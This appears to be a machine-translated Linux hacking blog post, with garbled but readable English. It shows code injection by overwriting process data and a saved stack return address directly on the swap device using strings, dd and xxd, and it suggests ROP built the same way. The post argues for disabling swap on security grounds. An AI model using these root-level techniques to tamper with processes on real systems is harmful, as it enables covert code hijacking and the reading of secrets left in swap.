Modifying swap space of Linux to realize process injection

dog250 2020-11-12 22:57:28

modifying swap space linux realize process injection

Two consecutive nights of heavy rain , comfortable , Come home from work and continue juggling .

I juggled last night /proc/$pid/mem, Wrote an article about process code injection ：
https://blog.csdn.net/dog250/article/details/108618568
This method just uses the kernel to export to procfs One of them mem file , Fortunately, it was written ！ This is not a general approach , As for the ptrace,stap such , It is more embodied as a tool , Not craft .

swap Enough space for general use , Every system has , It's an important part of the infrastructure of modern operating systems , This article takes swap Space fun .

Last weekend , I strings Let's talk about a virtual machine swap Space , Frightening , What has , My various account passwords , Many of the websites you have logged in can be found in swap It's found in the space , So I shut it down swap.

swap Space is a leaky bucket ！ A public clothes hanger .

therefore , We can use swap Space play process hack.

> ***by the way , Don't think about encryption swap Space, this kind of thing, is a matter of defying one's advice ,swap It's slow , You have another encryption and decryption , Slow up and slow down , In order to get a flat address space , There's no point in doing this , Add a memory module .***
>
> ***However , It's not OK to add memory dump The whole memory ？ such as /dev/mem,/proc/$pid/mem such … even so , Is better than swap Be safe .hack swap It's so easy ！***

First , I want to cover swap In order to modify the private data in the process .

Look at the code first ：

```
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#define MADV_SOFT_OFFLINE 101
int main(int argc, const char **argv)
{

void *map[65536];
char buf[256];
int i = 0, which;
// Loop memory allocation and write memory , The goal is to trigger swap to disk
operation .
while (i < 65535) {
 // 65535 Maybe it's a little small , For the purpose of the experiment , I
purposely reduced the virtual machine memory to 64M, To trigger memory more easily
swap.
map[i] = mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE, -1, 0);
if (map[i] == NULL)
break;
// I can't help but see that these strings are copied into buffer
snprintf(buf, 256, "E%d:ZheJiang Wenzhou skinshoe wet,down rain enter water not can
fat", i);
strcpy(map[i], buf);
i ++;
}
printf("map:%d\n", i);
scanf("%d", &which);
printf("map after:%s\n", map[which]);
return 0;
}
```

The following steps are in one go ：

- stay swap Space search feature string position .
- Will replace the string dd To swap The corresponding position of space .

Please have a look at ：

```
# stay swap Spatial search feature string position offset
# Be careful , I use 1234 Do the index , I'll export the process later map The first
of an array of 1234 Elements , To see if it has been modified .
[root@localhost test]# strings -a -t x /dev/dm-1 |grep E1234:ZheJiang
391f000 E1234:ZheJiang Wenzhou skinshoe wet,down rain enter water not can fat
[root@localhost test]#
# Show me the replacement string and its size
[root@localhost test]# ll ./new
-rw-r--r-- 1 root root 70 9 month 17 17:32 ./new
[root@localhost test]# cat new
DDDDD:Zhejiang Wenzhou pixie shi,xia yu jin shui bu hui pang
[root@localhost test]#
# The above offset 0x391f000 Decimal system of 59895808, Cover with a replacement
string swap The character string of space
[root@localhost test]# dd if=./new of=/dev/dm-1 obs=1 bs=1 seek=59895808 count=70
Recorded 70+0 Read in of
Recorded 70+0 Write
70 byte (70 B) Copied ,0.00130832 second ,53.5 kB/ second
```

Here, please pay attention to , This article only uses the characteristic string as an example , In practice , Any binary can be used to match , Here's the string , Mainly because strings Command is more convenient , You can also use regular , And if it's any binary match, That requires other binary pattern matching techniques .

Next , I am here mmap Terminal input for program running 1234 As index , Look at the situation ：

```
1234 # This is the input , According to the characteristic string E1234:ZheJiang,
Need to enter 1234 Index
map after:DDDDD:Zhejiang Wenzhou pixie shi,xia yu jin shui bu hui pang
[root@localhost test]#
```

Successfully replaced ！ Not used this time stap, Didn't write /proc/$pid/mem, I just wrote swap nothing more .

Now that you can replace the data , that stack Space as part of the data , It can also be swap out Of , If you can write swap To operate stack, Can't it be done like ROP The operation of , Any replacement return address .

Next , Let's try .

Look at another code ：

```
#include <stdio.h>
#include <stdlib.h>
void func()
{

char v[] = "55555555555555555555";
getchar();
printf("after getchar\n");
}
int main(int argc, char **argv)
{

func();
printf("end\n");
return 0;
}
```

It's simple , Let's run it once ：

```
[root@localhost test]# ./a.out
A
after getchar
end
[root@localhost test]#
```

Enter a character , Print two lines of tips , That's it .

My goal is through manipulation swap Space , Let the program no longer print “after getchar” this sentence , Bypass printf, Directly from fun return , Can it be done ？ Certainly. ！

First run it , But don't type in ：

```
[root@localhost test]# ./a.out
... # Waiting for input
```

adopt objdump to glance at getchar Original return address location ：

```
400593: e8 b8 fe ff ff callq 400450 <getchar@plt>
400598: bf 60 06 40 00 mov $0x400660,%edi
40059d: e8 8e fe ff ff callq 400430 <puts@plt>
4005a2: c9 leaveq
```

Um. , Namely 0x400598 了 . I want to modify swap Space , Then change the return address to 0x4005a2, Thus skip over printf, That is to say objdump Medium puts.

The next step is to find swap In the space a.out programmatic stack The location of .

By operating swap Space to modify the process of stack, We have to find a way to make it stack Be swapped out , To make this o.out Of stack Be swapped out , I use the one at the beginning of this article mmap process , Try to allocate memory , So the inactive process waiting for input a.out Of stack Of course, the memory will be replaced .

Confirm it ：

```
[root@localhost test]# ps -e|grep a.out
3230 pts/2 00:00:01 a.out
[root@localhost test]# cat /proc/3230/smaps |grep -A15 stack|grep Swap
Swap: 16 kB
```

Next, look for the characteristic string "55555555555555555555", Try to find... Near it getchar Return address of 0x400598：

```
[root@localhost test]# strings -a -t x /dev/dm-1 |grep 55555555555555555555
2e5e09a 55555555555555555555 # 2e5e09a It is determined to be 48619550, It can
also be other values nearby .
[root@localhost test]# dd of=./stack if=/dev/dm-1 obs=1 bs=1 skip=48619550
count=4096
```

adopt "vi -b ./stack" Of ":%!xxd" To edit binary stack file , Found the location below ：

```
...
00000050: 647f 0000 0000 0000 0000 0000 9805 4000 d.............@.
00000060: 0000 0000 3535 3535 3535 3535 3535 3535 ....555555555555
00000070: 3535 3535 3535 3535 3535 3535 0000 0000 555555555555....
...
```

take “9805 4000” Change to “a205 4000” that will do ：

```
00000050: 647f 0000 0000 0000 0000 0000 a205 4000 d.............@.
```

use "%!xxd -r" After saving , And then again dd Go back ：

```
[root@localhost test]# dd if=./stack of=/dev/dm-1 obs=1 bs=1 seek=48619550
count=4096
```

Running a.out The terminal type in the character "A"：

```
[root@localhost test]# ./a.out
A
end
[root@localhost test]#
```

Successfully bypassed printf ！

It's easy to do this kind of attack , Just trigger the system to switch the memory to the swap space , All you have to do is allocate memory , Then let the system squeeze the memory of the attacked program to ***Public visible exchange space*** in , then ...

Have to say , If a process is stack It's been replaced , So if you can find this stack stay swap The location of space , You can be in stack It's piled up with arbitrary data , Offline construct a satisfying ReturnToLibc Of ROP Isn't that hard , Mainly hand speed , Be quick ！

How to put it? ？ Modern operating systems swap Is space still necessary ？

Modern operating system as a virtual storage based operating system , In principle, the difference between memory media is shielded , The purpose is to provide a flat address space for the process , There's no problem with that . But in practice , I don't think this mechanism is needed anymore .swap More value for small memory systems , And the memory of contemporary system is often dozens of G, If enabled swap, Security can't be guaranteed. Don't say , Frequent swapping in and out will also lead to the process running delay jitter , There's no need .

Turn off the swap Well .
